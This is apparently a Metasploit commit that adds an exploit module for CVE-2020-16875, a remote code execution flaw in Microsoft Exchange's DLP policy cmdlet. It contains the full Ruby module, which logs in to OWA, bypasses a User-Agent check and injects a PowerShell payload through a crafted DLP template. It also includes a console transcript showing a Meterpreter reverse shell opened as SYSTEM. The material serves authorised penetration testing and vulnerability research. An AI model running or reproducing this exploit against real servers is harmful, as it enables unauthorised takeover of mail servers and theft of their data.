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Add Microsoft Exchange Server DLP Policy RCE
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CVE-2020-16875
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@wvu
wvu committed Sep 16, 2020
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116 changes: 116 additions & 0 deletions documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md
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## Vulnerable Application

### Description

This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the `Data Loss Prevention` role assigned and an active
mailbox.

The specific flaw exists within the processing of the `New-DlpPolicy`
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
`SYSTEM`.

Tested against Exchange Server 2016 CU14 on Windows Server 2016.

### Setup

Set up a [vulnerable target](#targets).

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### 0

`Exchange Server 2016 and 2019 w/o KB4577352`

## Options

### USERNAME

Set this to the OWA username.

### PASSWORD

Set this to the OWA password.

## Scenarios

### Exchange Server 2016 CU14 on Windows Server 2016

```
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no OWA password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
USERNAME no OWA username
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Exchange Server 2016 and 2019 w/o KB4577352
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.192
rhosts => 192.168.123.192
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator
username => Administrator
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd!
password => Passw0rd!
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run
[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. OWA is running at https://192.168.123.192/owa/
[*] Logging in to OWA with creds Administrator:Passw0rd!
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] Powershell command length: 2356
[*] https://192.168.123.1:8443 handling request from 192.168.123.192; (UUID: aowwcyay) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.192:10604) at 2020-09-16 01:40:12 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-365Q2VJJS17
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : GIBSON
Logged On Users : 8
Meterpreter : x64/windows
meterpreter >
```
244 changes: 244 additions & 0 deletions modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the "Data Loss Prevention" role assigned and an active
mailbox.
The specific flaw exists within the processing of the New-DlpPolicy
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
SYSTEM.
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
},
'Author' => [
'mr_me', # Discovery, exploits, and most of the words above
'wvu' # Module
],
'References' => [
['CVE', '2020-16875'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
],
'DisclosureDate' => '2020-09-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Exchange Server 2016 and 2019 w/o KB4577352', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
'HttpClientTimeout' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
CONFIG_CHANGES, # Creates a new DLP policy
ARTIFACTS_ON_DISK # Uses a DLP policy template file
]
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [false, 'OWA username']),
OptString.new('PASSWORD', [false, 'OWA password'])
])
end

def post_auth?
true
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

unless res.code == 200 && res.body.include?('<title>Outlook</title>')
return CheckCode::Unknown('Target does not appear to be running OWA.')
end

CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
end

def exploit
owa_login
create_dlp_policy(retrieve_viewstate)
end

def owa_login
unless username && password
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
end

print_status("Logging in to OWA with creds #{username}:#{password}")

res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
'vars_post' => {
'username' => username,
'password' => password,
'flags' => '',
'destination' => full_uri('/owa/', vhost_uri: true)
},
'keep_cookies' => true
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth

unless res
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
end

unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
if res.body.include?('There are too many active sessions connected to this mailbox.')
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
end

fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
end

if res.body.include?('Choose your preferred display language and home time zone below.')
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
end

print_good('Successfully logged in to OWA')
end

def retrieve_viewstate
print_status('Retrieving ViewState from DLP policy creation page')

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'keep_cookies' => true
)

unless res
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
end

unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
end

print_good('Successfully retrieved ViewState')
viewstate
end

def create_dlp_policy(viewstate)
print_status('Creating custom DLP policy from malicious template')

form_data = Rex::MIME::Message.new
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
form_data.add_part(
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
)
form_data.add_part(
dlp_policy_name,
nil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
)
form_data.add_part(
dlp_policy_template,
'text/xml',
nil,
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
)

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
}, 0)
end

def dlp_policy_template
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Metasploit</publisherName>
<name>
<localizedString lang="en">#{dlp_policy_name}</localizedString>
</name>
<description>
<localizedString lang="en">wvu was here</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>
XML
end

def dlp_policy_name
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
end

def dlp_policy_filename
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
end

end

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